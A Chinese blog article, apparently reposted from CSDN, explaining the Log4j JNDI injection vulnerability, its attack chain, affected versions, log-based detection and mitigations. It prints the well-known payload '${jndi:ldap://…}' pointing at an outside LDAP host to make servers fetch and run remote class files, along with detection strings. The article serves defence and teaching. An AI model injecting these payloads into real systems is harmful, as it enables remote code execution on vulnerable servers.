文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

log4j漏洞详解

2023-08-31 09:50

关注

一.什么是log4j?

log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。

使用方法:

                1.pom引入依赖

                2.获取logger实例

                3.logger.info() debug() error() warn()...

优点:功能丰富,易于集成

二.排查log4j

哈哈,先来检查一下你们公司有没有log4j的漏洞,估计都是修复了,当时可是掀起血雨腥风啊

pom检查

可以通过日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog.cn",等字符来看看有没有别人在搞你

检查日志中是否有相关堆栈报错,堆栈中是否有一些JndiLookup,LdapURLContext等与JNDI调用相关的堆栈信息。

三.什么是JNDI注入

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。

 四.什么是命名应用(JNDI naming Reference)

先给这些名词简单说一下

Ldap:你可以将它理解为一个目标数据库。

然后这个命名引用就是:

在这个目标数据库(LDAP)中可以存储一个外部的资源,对应的Reference类

比如说HTTP服务的一个.class文件

如果JNDI客户端,在LDAP服务上找不到对应的资源,就会到指定的地址请求数据,如果是命名引用的,就会将这个文件下载到本地。

如果你下载的这个.class文件包含无参构造函数或者静态方法块,那么加载的时候他会自动执行

四.漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“开发人员图快捷”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡,但是如果只是打印日志的话没没有什么危害,但是,打印系统变量这种对系统而言构不成什么威胁。最终要的原因是log4j还支持JNDI协议。而且这个JNDI协议中还支持lookup()方法,那么这个漏洞就危害比较大了。

整个攻击链:

攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 远程加载攻击者服务器上的class文件构建对象(LDAP/RMI中有个命名引用功能) -----》寻找本地的恶意代码并执行

漏洞条件

使用了log4j的组件,并且版本在2.x <= 2.14.1

JDK版本小于8u191,7u201,6u211

漏洞修复与防御

等你把上面看完了,你也就知道怎么去修复了,欢迎补充!!!

禁止用户请求参数出现攻击关键字

禁止Lookup下载远程文件(命名引用)

禁止log4j使用Lookup

禁止log4j的应用连接 外网

可以直接在log4j jar包中删除lookup (2.10以下)

来源地址:https://blog.csdn.net/weixin_61638307/article/details/129476856

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯